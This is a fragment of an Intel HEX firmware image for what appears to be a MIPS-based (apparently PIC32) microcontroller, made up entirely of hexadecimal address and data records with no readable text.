:10f2e4001800c38f21106200000042900800c2a3de
:10f2f4001c00c28fffff42241800c38f211062003c
:10f304000000c38f00006390000043a00000c28f80
:10f314000800c393000043a00000c28f01004224f0
:10f324000000c2af1c00c28fffff42241c00c2af0a
:10f334001c00c38f0400c28f2b104300e6ff40144f
:10f344000000000021e8c0031400be8f1800bd2790
:10f354000800e00300000000f0ffbd270c00beaf72
:10f3640021f0a0031000c4af1400c5af1400c28f75
:10f374000100423004004010000000002110000091
:10f38400fabc400b00000000f6bc400b000000007b
:10f394001000c28f000042900000c2a31000c28f70
:10f3a400010043901000c28f000043a01000c28fe0
:10f3b400010042240000c393000043a01400c28f44
:10f3c400feff42241400c2af1000c28f0200422488
:10f3d4001000c2af1400c28fedff40140000000003
:10f3e4000100022421e8c0030c00be8f1000bd27d9
:10f3f4000800e00300000000f0ffbd270c00beafd2
:10f4040021f0a0031000c4af2110a0001800c6af63
:10f414001400c2a30000c0af14bd400b00000000e4
:10f424001800c28fffff42241000c38f2110620016
:10f43400000042900000c38f211062000000c2afa0
:10f444001800c28fffff42241800c2af1800c28ff9
:10f45400f3ff4014000000000000c28f010042309e
:10f464000000c2af0000c28fff0043301400c293fb
:10f4740026106200ff00423021e8c0030c00be8f5a
:10f484001000bd270800e00300000000e8ffbd27ce
:10f494001400bfaf1000beaf21f0a0031800c4af2a
:10f4a40001000424ff0d410f000000003cbd400b8f
:10f4b400000000001800c28f0c0040100000000083
:10f4c40021200000ff0d410f000000002118400022
:10f4d4001800c28f2b1043000400401000000000ed
:10f4e400211000005cbd400b0000000088bf023cfe
:10f4f400d060428c00014230eeff4010000000005a
:10f5040001000424ff0d410f0000000054bd400b16
:10f51400000000001800c28f0c0040100000000022
:10f5240021200000ff0d410f0000000021184000c1
:10f534001800c28f2b10430004004010000000008c
:10f54400211000005cbd400b0000000088bf023c9d
:10f55400d060428c00014230eeff401400000000f5
:10f5640021200000170e410f0000000021e8c00315
:10f574001400bf8f1000be8f1800bd270800e003e1
:10f5840000000000e8ffbd271400bfaf1000beafad
:10f5940021f0a0031800c4af01000424ff0d410fa3
:10f5a400000000007abd400b000000001800c28f6c
:10f5b4000c0040100000000021200000ff0d410f4e
:10f5c40000000000211840001800c28f2b104300d7
:10f5d4000400401000000000211000009abd400b00
:10f5e4000000000088bf023cd060428c0001423021
:10f5f400eeff40140000000001000424ff0d410f41
:10f604000000000092bd400b000000001800c28ff3
:10f614000c0040100000000021200000ff0d410fed
:10f6240000000000211840001800c28f2b10430076
:10f634000400401000000000211000009abd400b9f
:10f644000000000088bf023cd060428c00014230c0
:10f65400eeff40100000000021200000170e410fb3
:10f664000000000021e8c0031400bf8f1000be8f0b
:10f674001800bd270800e00300000000e8ffbd27d4
:10f684001400bfaf1000beaf21f0a0031800c4af38
:10f694001c00c5af212000001800c58f1c00c68fb8
:10f6a40021100724b2bd400f0000000021e8c00370
:10f6b4001400bf8f1000be8f1800bd270800e003a0
:10f6c40000000000e8ffbd271400beaf21f0a00336
:10f6d4001800c4af1c00c5af2000c6af2400c7afdc
:10f6e4000000c0afe7bd400b000000001c00c38f4a
:10f6f4000000c28f21106200000042900800c2afd7
:10f704000800c28f001202000800c2af0400c0af9c
:10f71400ddbd400b000000001800c38f0800c28f3d
:10f7240026106200008042300800401000000000f3
:10f734001800c28f401802002400c28f26106200f5
:10f744001800c2afd7bd400b000000001800c28fe4
:10f75400401002001800c2af0800c28f401002001f
:10f764000800c2af0400c28f010042240400c2afeb
:10f774000400c28f0800422ce7ff40140000000080
:10f784001800c28fffff42301800c2af0000c28fc2
:10f79400010042240000c2af0000c38f2000c28fca
:10f7a4002b106200d1ff4014000000001800c28f2b
:10f7b40021e8c0031400be8f1800bd270800e00331
:10f7c40000000000e8ffbd271400bfaf1000beaf6b
:10f7d40021f0a003211080001800c2a303be400b37
:10f7e40000000000059d023ca0474424059d023c06
:10f7f400f44745242013410f000000001800c29371
:10f80400ffff42241800c2a31800c293f5ff40145e
:10f814000000000021e8c0031400bf8f1000be8f59
:10f824001800bd270800e00300000000e8ffbd2722
:10f834001400bfaf1000beaf21f0a003059d023c31
:10f84400a0474424059d023cf84745242013410f5a
:10f854000000000021e8c0031400bf8f1000be8f19
:10f864001800bd270800e00300000000e8ffbd27e2
:10f874001400bfaf1000beaf21f0a0031800c4af46
:10f884001c00c5af059d023ca0474424059d023cd5
:10f89400c44745242013410f000000001c00c28f00
:10f8a4000000429021204000f2bd400f0000000003
:10f8b400059d023c204844241800c58f2013410fa5
:10f8c400000000001c00c28f00004290020042248d
:10f8d400ff0043301c00c28f000043a021e8c00396
:10f8e4001400bf8f1000be8f1800bd270800e0036e
:10f8f40000000000e8ffbd271400bfaf1000beaf3a
:10f9040021f0a0031800c4af1c00c5af2000c6af8f
:10f914002000c28f0700401000000000059d023c3b
:10f92400a0474424059d023cc44745242013410fad
:10f93400000000001c00c28f000042900200422c14
:10f9440009004014000000001c00c28f0000429017
:10f95400feff4224ff0043301c00c28f000043a07e
:10f964005dbe400b000000001c00c28f000040a0e0
:10f974002000c28f06004010000000001c00c28f4f
:10f984000000429021204000f2bd400f0000000022
:10f99400059d023c284844241800c58f2013410fbc
:10f9a4000000000021e8c0031400bf8f1000be8fc8
:10f9b4001800bd270800e00300000000e8ffbd2791
:10f9c4001400bfaf1000beaf21f0a0031800c4aff5
:10f9d4002110a0001c00c2a3059d023ca0474424a2
:10f9e400059d023cc44745242013410f000000003c
:10f9f4001c00c29321204000f2bd400f0000000013
:10fa0400059d023ca04744241800c58f2013410fd4
:10fa14000000000021e8c0031400bf8f1000be8f57
:10fa24001800bd270800e00300000000e8ffbd2720
:10fa34001400bfaf1000beaf21f0a0031800c4af84
:10fa44001c00c5af2000c6af1800c48f2000c58fae
:10fa54001cbe400f00000000059d023ca04744244a
:10fa64001c00c58f2013410f000000001800c48f34
:10fa74002000c58f213000003ebe400f0000000072
:10fa840021e8c0031400bf8f1000be8f1800bd27eb
:10fa94000800e00300000000e0ffbd271c00bfaf2a
:10faa4001800beaf21f0a0032000c4af2110a000b5
:10fab4002800c6af2400c2a32000c48f2800c58f2d
:10fac4001cbe400f000000002400c2931000c32796
:10fad40021206000059d033cc0476524213040007f
:10fae400ac54410f00000000059d023ca047442493
:10faf4001000c227212840002013410f00000000fd
:10fb04002000c48f2800c58f213000003ebe400f66
:10fb14000000000021e8c0031c00bf8f1800be8f46
:10fb24002000bd270800e00300000000e0ffbd271f
:10fb34001c00bfaf1800beaf21f0a0032000c4af6b
:10fb44002118a0002800c6af2110e0002400c3a3a0
:10fb54002c00c2a31000c0aff6be400b0000000092
:10fb64001000c28f1f0042300b0040140000000040
:10fb7400059d023ca0474424059d023cc4474524fe
:10fb84002013410f000000002c00c29321204000ec
:10fb9400f2bd400f000000002000c38f1000c28f90
:10fba40021106200000043902400c29324106200dc
:10fbb400ff004230059d033cac47642421284000eb
:10fbc4008513410f000000001000c28f0100422481
:10fbd4001000c2af1000c38f2800c28f2b10620028
:10fbe400dfff40140000000021e8c0031c00bf8fa9
:10fbf4001800be8f2000bd270800e00300000000ad
:10fc0400e8ffbd271400bfaf1000beaf21f0a00372
:10fc14001800c4af1c00c5af2110c0002400c7af3a
:10fc24002000c2a31800c48f2800c58f1cbe400f3b
:10fc3400000000002000c3932800c28f00004290ff
:10fc44001c00c48f212860002400c68f2138400086
:10fc5400ccbe400f000000001800c48f2800c58fe0
:10fc6400010006243ebe400f0000000021e8c0034e
:10fc74001400bf8f1000be8f1800bd270800e003da
:10fc840000000000e0ffbd271c00bfaf1800beaf9e
:10fc940021f0a003059d023cb8374424059d023c95
:10fca400bc3745242013410f00000000010002244a
:10fcb4001000c2a33ebf400b000000001000c3931d
:10fcc40000a0023c80180300187142242110620035
:10fcd4000000428c059d033cd43764242128400055
:10fce4002013410f000000001000c29301004224c1
:10fcf4001000c2a31000c39300a0023c80180300ac
:10fd040018714224211062000000428cebff401461
:10fd140000000000059d023cb8374424059d023cc8
:10fd2400dc3745242013410f0000000021e8c00304
:10fd34001c00bf8f1800be8f2000bd270800e00301
:10fd440000000000e0ffbd271c00bfaf1800beafdd
:10fd540021f0a0032000c4af1000c0a36cbf400b6f
:10fd6400000000001000c39300a0023c80180300b0
:10fd740018714224211062000000428c2000c48fbc
:10fd840021284000734d410f00000000040040147e
:10fd9400000000001000c29375bf400b000000007b
:10fda4001000c293010042241000c2a31000c393a8
:10fdb40000a0023c80180300187142242110620044
:10fdc4000000428ce7ff40140000000021100000f6
:10fdd40021e8c0031c00bf8f1800be8f2000bd2780
:10fde4000800e00300000000e8ffbd271400bfafd7
:10fdf4001000beaf21f0a003211080001800c2a3a0
:10fe04001800c2931300432c31006010000000005e
:10fe140080180200039d023c30fe4224211062003f
:10fe24000000428c0800400000000000d4fe029d47
:10fe34007cfe029d7cfe029d7cfe029d7cfe029d5a
:10fe44007cfe029d7cfe029da4fe029db0fe029dee
:10fe5400d4fe029dbcfe029dd4fe029dd4fe029df2
:10fe6400d4fe029dd4fe029dd4fe029dc8fe029dd6
:10fe7400d4fe029d98fe029d00a0023cd8574290f9
:10fe8400212040007bbf400f00000000b6bf400ba4
:10fe94000000000020000224b6bf400b0000000058
:10fea40020000224b6bf400b000000002000022402
:10feb400b6bf400b0000000020000224b6bf400b78
:10fec4000000000020000224b6bf400b0000000028
:10fed4002110000021e8c0031400bf8f1000be8f62
:10fee4001800bd270800e00300000000e0ffbd2764
:10fef4001c00bfaf1800beaf1400b0af21f0a003c8
:10ff0400211080002000c2a32000c2931300432cc0
:10ff1400380060100000000080180200039d023cbd
:10ff240038ff4224211062000000428c0800400087
:10ff340000000000f8ff029d84ff029d84ff029de3
:10ff440084ff029d84ff029d84ff029d84ff029d25
:10ff5400c8ff029dd4ff029df8ff029de0ff029db1
:10ff6400f8ff029df8ff029df8ff029df8ff029d35
:10ff7400f8ff029decff029df8ff029dbcff029d6d
:10ff840000a0023cdc564224b000508c00a0023c8d
:10ff9400d8574290212040007bbf400f0000000052
:10ffa4001b000202f40140001010000012100000b7
:10ffb400ffbf400b000000000e000224ffbf400bf7
:10ffc4000000000040000224ffbf400b00000000be
:10ffd40008000224ffbf400b0000000008000224b8
:10ffe400ffbf400b0000000008000224ffbf400bcd
:10fff400000000002110000021e8c0031c00bf8f96
:020000041d03da
:100004001800be8f1400b08f2000bd270800e00345
:1000140000000000f8ffbd270400beaf21f0a003dc
:10002400211080000800c2a30800c2931600432ccc
:100034004b0060100000000080180200039d023c89
:1000440058004224211062000000428c0800400045
:10005400000000006401039db000039db000039df7
:10006400b000039db000039db000039db000039d4c
:100074000401039d1001039dbc00039d3401039df5
:10008400d400039d1c01039d2801039d4c01039d85
:10009400ec00039d4001039de000039dc800039d07
:1000a4006401039df800039d5801039d000102248f
:1000b4005ac0400b00000000400002245ac0400b0c
:1000c40000000000c00102245ac0400b00000000e0
:1000d400600002245ac0400b0000000060000224ab
:1000e4005ac0400b00000000800002245ac0400b9c
:1000f40000000000700002245ac0400b0000000001
:10010400000802245ac0400b000000000001022431
:100114005ac0400b00000000400002245ac0400bab
:1001240000000000e00002245ac0400b0000000060
:10013400000102245ac0400b000000000001022408
:100144005ac0400b00000000400002245ac0400b7b
:1001540000000000400002245ac0400b00000000d0
:100164002110000021e8c0030400be8f0800bd2751
:100174000800e00300000000e0fdbd271c02bfaf43
:100184001802beaf21f0a00300a0023cdc564224ba
:10019400870042901100c2a3059d023cb837442455
:1001a400059d023cdc3745242013410f000000006c
:1001b400010002241000c2a393c0400b0000000001
:1001c4001000c39300a0023c80180300187142245d
:1001d400211062000000428c059d033ce03764243a
:1001e400212840002013410f000000001000c2939a
:1001f40021204000abc0400f0000000000a0023ce2
:10020400dc564224870042901400c327212060005a
:10021400212840001e2d410f00000000070040105f
:10022400000000001400c227059d033cb837642475
:10023400212840002013410f000000001000c29349
:10024400010042241000c2a31000c39300a0023c8a
:100254008018030018714224211062000000428caf
:10026400d7ff4014000000001100c2932120400079
:10027400abc0400f00000000059d023cb837442489
:10028400059d023cdc3745242013410f000000008b
:1002940021e8c0031c02bf8f1802be8f2002bd27b5
:1002a4000800e00300000000e8ffbd271400bfaf12
:1002b4001000beaf21f0a003211080001800c2a3db
:1002c40000a0023cdc5642249c0040ac00a0023c4e
:1002d400dc564224c40040ac00a0023cdc5642245c
:1002e400cc0040ac00a0023cdc564224d00040ac20
:1002f40000a0023cdc564224c80040ac00a0023cf2
:10030400dc564224a00040a000a0023cdc5642245b
:10031400d80040ac00a0023cdc564224dc0040acd7
:1003240000a0023cdc564224a40040ac00a0023ce5
:10033400dc564224a80040ac00a0023cdc56422417
:10034400ac0040ac00a0023cdc564224b00040acff
:1003540000a0023cdc5642241800c393870043a04b
:1003640000a0023cdc564224d40040ac00a0023c75
:10037400dc5642248c0040ac00a0023cdc564224f3
:10038400bd0040a000a0023cdc564224be0040a0b8
:1003940000a0023cdc564224bf0040a000a0023c66
:1003a400dc564224c00040a000a0023cdc5642249b
:1003b400bc0040a000a0023cdc564224e00040ac5b
:1003c40000a0023cdc564224ec0040ac00a0023cfd
:1003d400dc564224f00040ac00a0023cdc5642242f
:1003e400e40040ac00a0023cdc564224e80040acef
:1003f40000a0023cdc564224f80040ac00a0023cc1
:10040400dc564224f40040ac1800c2931600432c7e
:10041400370460100000000080180200039d023cb5
:1004240038044224211062000000428c080040007d
:10043400000000000015039d9004039d4009039de6
:10044400f809039d9010039df414039df414039d77
:10045400b00b039d140d039d2c06039d5811039da1
:10046400b00a039d800e039d880f039d2c06039df7
:100474004408039dcc12039d2805039d1c07039d7e
:100484003c14039df414039d2c06039d00a0023c20
:10049400dc564224200303249c0043ac00a0023c0d
:1004a400dc56422401000324a00043a000a0023c27
:1004b400dc56422464000324dc0043ac00a0023c6c
:1004c400dc56422420000324a40043ac00a0023cd8
:1004d400dc56422400010324b00043ac00a0023cdb
:1004e400dc5642241800c393870043a000a0023cba
:1004f400dc56422414000324d40043ac00a0023c84
:10050400dc564224c83203248c0043ac00a0023cd5
:10051400dc564224e8030324f00043ac41c5400bfd
:100524000000000000a0023cdc5642242003032407
:100534009c0043ac00a0023cdc564224030003248c
:10054400a00043a000a0023cdc5642246e00032419
:10055400dc0043ac00a0023cdc56422432000324fd
:10056400a40043ac00a0023cdc564224080003244f
:10057400a80043ac00a0023cdc5642240a00032439
:10058400ac0043ac00a0023cdc56422460000324cf
:10059400b00043ac00a0023cdc5642241800c393d4
:1005a400870043a000a0023cdc564224140003242c
:1005b400d40043ac00a0023cdc564224c8320324dd
:1005c4008c0043ac00a0023cdc564224010003240e
:1005d400bd0043a000a0023cdc5642241d000324bd
:1005e400be0043a000a0023cdc56422480ff03244a
:1005f400bf0043a000a0023cdc564224c00040a03f
:1006040000a0023cdc56422412000324bc0043a098
:1006140000a0023cdc564224e8030324f00043ac6f
:1006240041c5400b0000000000a0023cdc564224ff
:10063400200303249c0043ac00a0023cdc5642246b
:1006440001000324cc0043ac00a0023cdc5642244d
:1006540001000324a00043a000a0023cdc56422475
:1006640096000324dc0043ac00a0023cdc56422488
:1006740040000324a40043ac00a0023cdc56422406
:1006840040000324b00043ac00a0023cdc564224ea
:100694001800c393870043a000a0023cdc56422408
:1006a40014000324d40043ac00a0023cdc564224d2
:1006b400c83203248c0043ac00a0023cdc56422424
:1006c400ffff0324bd0043a000a0023cdc564224eb
:1006d400ffff0324be0043a000a0023cdc564224da
:1006e400bf0040a000a0023cdc564224c00040a051
:1006f40000a0023cdc56422409000324bc0043a0b1
:1007040000a0023cdc564224e8030324f00043ac7e
:1007140041c5400b0000000000a0023cdc5642240e
:10072400200303249c0043ac00a0023cdc5642247a
:1007340001000324cc0043ac00a0023cdc5642245c
:1007440001000324a00043a000a0023cdc56422484
:1007540082000324dc0043ac00a0023cdc564224ab
:1007640040000324a40043ac00a0023cdc56422415
:1007740035000324b00043ac00a0023cdc56422404
:100784000e000324b40043ac00a0023cdc56422417
:1007940020000324b80043ac00a0023cdc564224f1
:1007a4001800c393870043a000a0023cdc564224f7
:1007b40014000324d40043ac00a0023cdc564224c1
:1007c400c83203248c0043ac00a0023cdc56422413
:1007d400e8030324f00043ac00a0023cdc564224ae
:1007e40037000324e00043ac00a0023cdc56422462
:1007f400d0070324ec0043ac00a0023cdc564224a6
:1008040010000324e40043ac00a0023cdc56422464
:1008140020000324e80043ac00a0023cdc56422440
:100824003c000324f40043ac00a0023cdc56422408
:1008340050000324f80043ac41c5400b0000000005
:1008440000a0023cdc564224e90203249c0043ac91
:1008540000a0023cdc56422401000324c40043ac43
:1008640000a0023cdc56422401000324c80043ac2f
:1008740000a0023cdc56422401000324a00043a053
:1008840000a0023cdc56422482000324dc0043ac7a
:1008940000a0023cdc56422420000324a40043ac04
:1008a40000a0023cdc56422480000324b00043ac88
:1008b40000a0023cdc5642241800c393870043a0e6
:1008c40000a0023cdc56422414000324d40043acb0
:1008d40000a0023cdc564224c83203248c0043ac02
:1008e40000a0023cdc564224bd0040a000a0023c13
:1008f400dc56422420000324be0043a000a0023c96
:10090400dc564224bf0040a000a0023cdc56422436
:10091400c00040a000a0023cdc5642240b0003248b
:10092400bc0043a000a0023cdc564224e80303249c
:10093400f00043ac41c5400b0000000000a0023ca5
:10094400dc564224200303249c0043ac00a0023c58
:10095400dc56422402000324a00043a000a0023c71
:10096400dc56422496000324dc0043ac00a0023c85
:10097400dc56422432000324a40043ac00a0023c11
:10098400dc56422408000324a80043ac00a0023c27
:10099400dc56422405000324ac0043ac00a0023c16
:1009a400dc56422400010324b00043ac00a0023c06
:1009b400dc5642241800c393870043a000a0023ce5
:1009c400dc56422414000324d40043ac00a0023caf
:1009d400dc564224c83203248c0043ac00a0023c01
:1009e400dc564224e8030324f00043ac41c5400b29
:1009f4000000000000a0023cdc5642242003032433
:100a04009c0043ac00a0023cdc56422403000324b7
:100a1400a00043a000a0023cdc5642245a00032458
:100a2400dc0043ac00a0023cdc5642243200032428
:100a3400a40043ac00a0023cdc564224080003247a
:100a4400a80043ac00a0023cdc5642240a00032464
:100a5400ac0043ac00a0023cdc5642240001032459
:100a6400b00043ac00a0023cdc5642241800c393ff
:100a7400870043a000a0023cdc5642241400032457
:100a8400d40043ac00a0023cdc564224c832032408
:100a94008c0043ac00a0023cdc564224e80303244f
:100aa400f00043ac41c5400b0000000000a0023c34
:100ab400dc564224200303249c0043ac00a0023ce7
:100ac400dc56422403000324a00043a000a0023cff
:100ad400dc5642246e000324dc0043ac00a0023c3c
:100ae400dc56422432000324a40043ac00a0023ca0
:100af400dc56422408000324a80043ac00a0023cb6
:100b0400dc5642240a000324ac0043ac00a0023c9f
:100b1400dc56422460000324b00043ac00a0023c35
:100b2400dc5642241800c393870043a000a0023c73
:100b3400dc56422414000324d40043ac00a0023c3d
:100b4400dc564224c83203248c0043ac00a0023c8f
:100b5400dc5642241d000324bd0043a000a0023c37
:100b6400dc56422455000324be0043a000a0023cee
:100b7400dc564224bf0040a000a0023cdc564224c4
:100b8400c00040a000a0023cdc5642241000032414
:100b9400bc0043a000a0023cdc564224e80303242a
:100ba400f00043ac41c5400b0000000000a0023c33
:100bb400dc564224200303249c0043ac00a0023ce6
:100bc400dc56422401000324cc0043ac00a0023cc8
:100bd400dc56422401000324a00043a000a0023cf0
:100be400dc564224aa000324dc0043ac00a0023cef
:100bf400dc56422420000324a40043ac00a0023ca1
:100c0400dc56422421000324b00043ac00a0023c83
:100c1400dc56422440000324b40043ac00a0023c50
:100c2400dc56422420000324b80043ac00a0023c5c
:100c3400dc5642241800c393870043a000a0023c62
:100c4400dc56422414000324d40043ac00a0023c2c
:100c5400dc564224c83203248c0043ac00a0023c7e
:100c6400dc56422404000324e00043ac00a0023c10
:100c7400dc564224d0070324ec0043ac00a0023c21
:100c8400dc564224f4010324f00043ac00a0023cef
:100c9400dc56422412000324e40043ac00a0023cce
:100ca400dc5642241a000324e80043ac00a0023cb2
:100cb400dc564224b4000324f40043ac00a0023cfc
:100cc400dc56422478000324f80043ac00a0023c24
:100cd400dc564224bc0040a000a0023cdc56422466
:100ce400bd0040a000a0023cdc564224bd0040a050
:100cf40000a0023cdc564224bd0040a000a0023cff
:100d0400dc564224bd0040a041c5400b0000000059
:100d140000a0023cdc564224200303249c0043ac84
:100d240000a0023cdc56422401000324cc0043ac66
:100d340000a0023cdc56422401000324a00043a08e
:100d440000a0023cdc564224a0000324dc0043ac97
:100d540000a0023cdc56422420000324a40043ac3f
:100d640000a0023cdc56422425000324b00043ac1e
:100d740000a0023cdc56422408000324b40043ac27
:100d840000a0023cdc56422420000324b80043acfb
:100d940000a0023cdc5642241800c393870043a001
:100da40000a0023cdc56422414000324d40043accb
:100db40000a0023cdc564224c83203248c0043ac1d
:100dc40000a0023cdc56422403000324e00043acb0
:100dd40000a0023cdc564224d0070324ec0043acc0
:100de40000a0023cdc5642240d020324f00043ac74
:100df40000a0023cdc56422412000324e40043ac6d
:100e040000a0023cdc5642241a000324e80043ac50
:100e140000a0023cdc56422496000324f40043acb8
:100e240000a0023cdc5642245a000324f80043ace0
:100e340000a0023cdc564224f8ff0324bd0043a07a
:100e440000a0023cdc564224be0040a000a0023cac
:100e5400dc564224bf0040a000a0023cdc564224e1
:100e6400c00040a000a0023cdc564224050003243c
:100e7400bc0043a041c5400b0000000000a0023ca0
:100e8400dc564224200303249c0043ac00a0023c13
:100e9400dc56422404000324a00043a000a0023c2a
:100ea400dc56422464000324d80043ac00a0023c76
:100eb400dc564224aa000324dc0043ac00a0023c1c
:100ec400dc56422420000324a40043ac00a0023cce
:100ed400dc56422402000324a80043ac00a0023cd8
:100ee400dc56422440000324b00043ac00a0023c82
:100ef400dc5642241800c393870043a000a0023ca0
:100f0400dc56422414000324d40043ac00a0023c69
:100f1400dc564224c83203248c0043ac00a0023cbb
:100f2400dc56422404000324880043ac00a0023ca5
:100f3400dc564224bd0040a000a0023cdc56422402
:100f4400be0040a000a0023cdc564224bf0040a0ea
:100f540000a0023cdc564224c00040a000a0023c99
:100f6400dc56422418000324bc0043a000a0023c29
:100f7400dc564224e8030324f00043ac41c5400b93
:100f84000000000000a0023cdc564224200303249d
:100f94009c0043ac00a0023cdc5642240400032421
:100fa400a00043a000a0023cdc56422464000324b9
:100fb400d80043ac00a0023cdc564224aa0003241f
:100fc400dc0043ac00a0023cdc5642242000032495
:100fd400a40043ac00a0023cdc56422402000324db
:100fe400a80043ac00a0023cdc564224e0000324e9
:100ff400b00043ac00a0023cdc5642241800c3936a
:10100400870043a000a0023cdc56422414000324c1
:10101400d40043ac00a0023cdc564224c832032472
:101024008c0043ac00a0023cdc56422404000324a0
:10103400880043ac00a0023cdc564224bd0040a022
:1010440000a0023cdc564224be0040a000a0023caa
:10105400dc564224bf0040a000a0023cdc564224df
:10106400c00040a000a0023cdc5642241800032427
:10107400bc0043a000a0023cdc564224e803032445
:10108400f00043ac41c5400b0000000000a0023c4e
:10109400dc564224200303249c0043ac00a0023c01
:1010a400dc56422404000324a00043a000a0023c18
:1010b400dc56422464000324d80043ac00a0023c64
:1010c400dc56422496000324dc0043ac00a0023c1e
:1010d400dc56422420000324a40043ac00a0023cbc
:1010e400dc56422402000324a80043ac00a0023cc6
:1010f400dc56422400010324b00043ac00a0023caf
:10110400dc5642241800c393870043a000a0023c8d
:10111400dc56422414000324d40043ac00a0023c57
:10112400dc564224c83203248c0043ac00a0023ca9
:10113400dc56422404000324880043ac00a0023c93
:10114400dc564224e8030324f00043ac41c5400bc1
:101154000000000000a0023cdc56422420030324cb
:101164009c0043ac00a0023cdc5642240100032452
:10117400cc0043ac00a0023cdc5642240100032412
:10118400a00043a000a0023cdc564224a00003249b
:10119400dc0043ac00a0023cdc56422440000324a3
:1011a400a40043ac00a0023cdc56422440000324cb
:1011b400b00043ac00a0023cdc56422408000324e7
:1011c400b40043ac00a0023cdc56422420000324bb
:1011d400b80043ac00a0023cdc5642241800c39380
:1011e400870043a000a0023cdc56422414000324e0
:1011f400d40043ac00a0023cdc564224c832032491
:101204008c0043ac00a0023cdc564224ffff0324c4
:10121400bd0043a000a0023cdc564224ffff03248f
:10122400be0043a000a0023cdc564224bf0040a004
:1012340000a0023cdc564224c00040a000a0023cb6
:10124400dc56422409000324bc0043a000a0023c55
:10125400dc564224c8320324ec0043ac00a0023c18
:10126400dc564224a00f0324f00043ac00a0023c4f
:10127400dc56422432000324e00043ac00a0023ccc
:10128400dc56422410000324e40043ac00a0023cda
:10129400dc56422430000324e80043ac00a0023ca6
:1012a400dc56422430000324f40043ac00a0023c8a
:1012b400dc564224c0000324f80043ac9c8080af79
:1012c40041c5400b0000000000a0023cdc56422453
:1012d400200303249c0043ac00a0023cdc564224bf
:1012e40001000324a00043a000a0023cdc564224d9
:1012f40096000324dc0043ac00a0023cdc564224ec
:1013040001000324cc0043ac00a0023cdc56422480
:1013140020000324a40043ac00a0023cdc56422479
:1013240040000324b00043ac00a0023cdc5642243d
:10133400e0ff0324bd0043a000a0023cdc5642248d
:1013440015000324be0043a000a0023cdc56422446
:10135400bf0040a000a0023cdc564224c00040a0d4
:1013640000a0023cdc56422410000324bc0043a02d
:1013740000a0023cdc56422408000324b40043ac21
:1013840000a0023cdc56422420000324b80043acf5
:1013940000a0023cdc5642241800c393870043a0fb
:1013a40000a0023cdc56422414000324d40043acc5
:1013b40000a0023cdc564224c83203248c0043ac17
:1013c40000a0023cdc564224c8320324ec0043aca7
:1013d40000a0023cdc564224a00f0324f00043acde
:1013e40000a0023cdc56422417000324e00043ac76
:1013f40000a0023cdc56422410000324e40043ac69
:1014040000a0023cdc56422430000324e80043ac34
:1014140000a0023cdc56422440000324f40043ac08
:1014240000a0023cdc564224c0000324f80043ac74
:1014340041c5400b0000000000a0023cdc564224e1
:10144400200303249c0043ac00a0023cdc5642244d
:101454001800c393870043a000a0023cdc5642243a
:1014640014000324d40043ac00a0023cdc56422404
:10147400c83203248c0043ac00a0023cdc56422456
:10148400c8320324ec0043ac00a0023cdc564224e6
:10149400a00f0324f00043ac00a0023cdc5642241d
:1014a40017000324e00043ac00a0023cdc564224b5
:1014b40010000324e40043ac00a0023cdc564224a8
:1014c40030000324e80043ac00a0023cdc56422474
:1014d40040000324f40043ac00a0023cdc56422448
:1014e400c0000324f80043ac41c5400b00000000d9
:1014f4002110000063c5400b000000000000000044
:10150400e00c410f0000000000a0023cdc56422425
:10151400dc00428c21200000212800002130400002
:1015240000a0023c5c454724662b410f00000000ec
:1015340000a0023cdc564224d800428c0100042462
:10154400212800002130400000a0023c5c454724d3
:10155400662b410f000000000700023c20a1443428
:10156400400e410f000000009c8080af00a0023cb0
:10157400c872442421280000090006246551410f43
:10158400000000000100022421e8c0031400bf8f02
:101594001000be8f1800bd270800e0030000000003
:1015a400e8ffbd271400bfaf1000beaf21f0a003b9
:1015b4001800c4af1c00c5af2110c0002000c2a396
:1015c4002000c2931600432c890060100000000024
:1015d40080180200039d023cf01542242110620091
:1015e4000000428c0800400000000000f417039d36
:1015f4004816039d4816039d4816039d4816039def
:101604004816039d4816039df417039df417039d84
:10161400a416039da416039d0417039d3417039d6c
:101624006417039d9417039dd416039df417039d1b
:101634007416039d4816039df417039df417039d28
:10164400c417039d1c00c48fa34a410f000000006f
:101654001800c48f1c00c58f21304000494a410f37
:101664000000000001000224fec5400b0000000041
:101674001800c48f1c00c58f1629410f00000000fc
:10168400040040140000000021100000fec5400bbf
:101694000000000001000224fec5400b0000000011
:1016a4001800c48f1c00c58fabdb400f0000000086
:1016b400040040140000000021100000fec5400b8f
:1016c4000000000001000224fec5400b00000000e1
:1016d4001800c48f1c00c58f2e1e410f000000008f
:1016e400040040140000000021100000fec5400b5f
:1016f4000000000001000224fec5400b00000000b1
:101704001800c48f1c00c58fc23c410f00000000ac
:10171400040040140000000021100000fec5400b2e
:101724000000000001000224fec5400b0000000080
:101734001800c48f1c00c58fd828410f000000007a
:10174400040040140000000021100000fec5400bfe
:101754000000000001000224fec5400b0000000050
:101764001800c48f1c00c58ffe28410f0000000024
:10177400040040140000000021100000fec5400bce
:101784000000000001000224fec5400b0000000020
:101794001800c48f1c00c58f4143410f0000000096
:1017a400040040140000000021100000fec5400b9e
:1017b4000000000001000224fec5400b00000000f0
:1017c4001800c48f1c00c58ff540410f00000000b5
:1017d400040040140000000021100000fec5400b6e
:1017e4000000000001000224fec5400b00000000c0
:1017f4002110000021e8c0031400bf8f1000be8f29
:101804001800bd270800e00300000000e0fdbd272c
:101814001c02bfaf1802beaf21f0a0032002c4af68
:101824002402c5af2110c0002802c2a32802c3931a
:101834001200022427006214000000001400c227d2
:10184400212040002402c58fe7b8400f00000000ab
:101854001000c0af22c6400b000000001400c327d4
:101864001000c28f211062002120400020000524b6
:10187400abbc400f000000001000c28f20004224c7
:101884001000c2af2402c48fa34a410f000000001d
:10189400801802001000c28f2b104300efff401489
:1018a400000000002402c48fa34a410f000000007e
:1018b400801002001400c3272002c48f2128600076
:1018c4002130400063b9400f000000003bc6400bcc
:1018d400000000002002c48f2402c58f7f49410ffd
:1018e400000000000000000021e8c0031c02bf8fbc
:1018f4001802be8f2002bd270800e003000000008c
:10190400e0ffbd271c00bfaf1800beaf21f0a0034d
:10191400211080002400c5af2000c2a32000c29380
:101924001000c3272120600021284000cb25410f4f
:10193400000000000400401400000000211000001a
:1019440084c6400b000000002400c28f00004280c7
:1019540005004014000000002000c3930800022486
:1019640016006214000000001000c28f2120400005
:1019740000a0023c5c4545242400c68fde50410f84
:10198400000000000d004014000000001000c28f91
:101994002120400000a0023c5c4545242400c68f61
:1019a4005a54410f000000000400401400000000dd
:1019b4002110000084c6400b000000002000c393e7
:1019c4002000c29300a0043c5c45842421286000cc
:1019d40021304000fb26410f0000000004004014a9
:1019e400000000002110000084c6400b000000002d
:1019f4001000c28f2120400000a0023c5c45452419
